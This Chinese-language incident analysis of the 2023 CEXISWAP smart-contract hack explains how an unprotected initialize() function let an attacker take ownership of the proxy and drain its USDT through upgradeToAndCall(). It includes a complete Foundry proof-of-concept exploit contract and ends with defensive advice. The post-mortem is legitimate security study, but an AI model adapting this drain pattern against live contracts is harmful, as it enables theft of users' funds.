14.CEXISWAP@Incorrect-Access

CEXISWAP@Incorrect-Access

• 时间：2023-09-21 06:56:11 (UTC)
• 损失金额：$30,000 (30,000 USDT)
• twitter：https://twitter.com/DecurityHQ/status/1704759560614126030

交易

• 黑客EOA：0x060C169C4517D52c4BE9a1Dd53e41a3328d16F04
• 黑客用来攻击的合约地址：0x8C425Ee62D18b65Cc975767C27c42dE548D133A1
• 被攻击的合约地址：0xb8a5890d53df78dee6182a6c0968696e827e3305
• 攻击事件hash：0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

资金流向

攻击过程

攻击详细分析

攻击步骤就两个：调用initialize()和upgradeToAndCall()，很明显，initialize()是用来获取权限，然后upgradeToAndCall()是用权限来获利。

按道理，初始化函数应该只能调用一次，但是黑客看到了项目方调用了两次，如下图。那么猜测这个初始化函数是有问题的，不符合最佳实践。

那么这样就可以想一下，是否可以多次调用初始化函数呢？是否任何人都可以调用呢？事实上，任何人都可以调用，这个关键函数没做保护，只是没将合约开源而已。

拿到了权限，就可以调用upgradeToAndCall()进行获利。

复现

github

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract CexiTest is Test {
    ICEXISWAP private constant CEXISWAP =
        ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT =
        IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    Exploiter private exploiter;

    function setUp() public {
        vm.createSelectFork("mainnet", 18182605);
        vm.label(address(CEXISWAP), "CEXISWAP");
        vm.label(address(USDT), "USDT");
    }

    function testExploit() public {
        exploiter = new Exploiter();
        exploiter.exploit();
        emit log_named_decimal_uint(
            "Attacker USDT balance after exploit",
            USDT.balanceOf(address(this)),
            6
        );
    }
}

contract Exploiter {
    ICEXISWAP private constant CEXISWAP =
        ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT =
        IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    bytes32 private constant IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    address private immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function exploit() external {
        CEXISWAP.initialize(
            "HAX",
            "HAX",
            address(this),
            address(this),
            address(this),
            address(this)
        );
        CEXISWAP.upgradeToAndCall(
            address(this),
            abi.encodePacked(this.exploit2.selector)
        );
    }

    // function 0x1de24bbf
    function exploit2() external {
        // delegatecall
        USDT.transfer(owner, USDT.balanceOf(address(this)));
    }

    function upgradeTo(address newImplementation) external {
        bytes32 slot = IMPLEMENTATION_SLOT;
        assembly {
            sstore(slot, newImplementation)
        }
    }
}

建议

• 未开源 != 安全
• 关键函数一定要做权限校验